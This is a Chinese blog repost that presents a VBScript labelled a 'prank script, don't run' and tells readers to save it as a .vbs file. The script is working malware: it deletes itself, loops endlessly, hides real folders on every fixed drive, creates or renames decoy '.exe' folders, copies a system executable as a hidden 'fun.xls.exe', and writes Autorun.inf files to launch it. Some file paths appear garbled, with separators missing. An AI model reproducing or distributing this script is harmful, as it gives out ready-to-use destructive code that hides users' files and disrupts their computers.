zoukankan      html  css  js  c++  java
  • vbs整人脚本,别运行!!!

     On Error Resume Next
    Set fso=CreateObject("Scripting.FileSystemObject")
    Set Cx=fso.GetSpecialFolder(0)
    fso.GetFile(WScript.ScriptFullName).Delete(True)
    Do
    C=fso.GetParentFolderName(Cx)
    Set Fdrs=fso.GetFolder(C).SubFolders

    For Each Fdr In Fdrs
    If Not fso.GetExtensionName(Fdr.Name)="exe" Then
    fso.CreateFolder(C & Fdr.Name & ".exe")
    Set fun=fso.GetFile(C & "WINDOWSsystem32 skill.exe")
    fun.Attributes=6
    fun.Copy(C & Fdr.Name & ".exefun.xls.exe")
    Set auto=fso.CreateTextFile(C & Fdr.Name & ".exeAutorun.inf")
    auto.WriteLine("[Autorun]")
    auto.WriteLine("Open=fun.xls.exe")
    auto.Close
    Set auto=Nothing
    Set fun=Nothing
    fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
    Fdr.Attributes=6
    End If
    Next

    Set Cx=Nothing
    Set Fdrs=Nothing

    Set drvs=fso.Drives
    For Each drv In drvs
    If drv.DriveType=2 Then
    If drv & "" = C Then
    Else
    Set Fdrs=fso.GetFolder(drv).SubFolders

    For Each Fdr In Fdrs
    If Not fso.GetExtensionName(Fdr.Name)="exe" Then
    Fdr.Name=Fdr.name & ".exe"
    Set fun=fso.GetFile(C & "WINDOWSsystem32 skill.exe")
    fun.Copy(drv & "" & Fdr.Name & "fun.xls.exe")
    Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "Autorun.inf")
    auto.WriteLine("[Autorun]")
    auto.WriteLine("Open=fun.xls.exe")
    auto.Close
    Set auto=Nothing
    Set fun=Nothing
    End If
    Next

    End If
    End If
    Next
    WScript.Sleep 60*1000
    Loop 
     
     
     

    打开记事本,复制,保存缀名为vbs格式
    注意:此代码不可乱用,可能会把人弄疯的

  • 相关阅读:
    分页查询+组合查询
    单点登录3
    单点登录2
    单点登录1
    sql server 语句
    jsTree动态加载数据
    sql 根据日期模糊查询&SQL Server dateTime类型 模糊查询
    快捷键
    JQUERY获取当前页面的URL信息
    C#中的?和??的用法
  • 原文地址:https://www.cnblogs.com/shadow-97z/p/9191639.html
Copyright © 2011-2022 走看看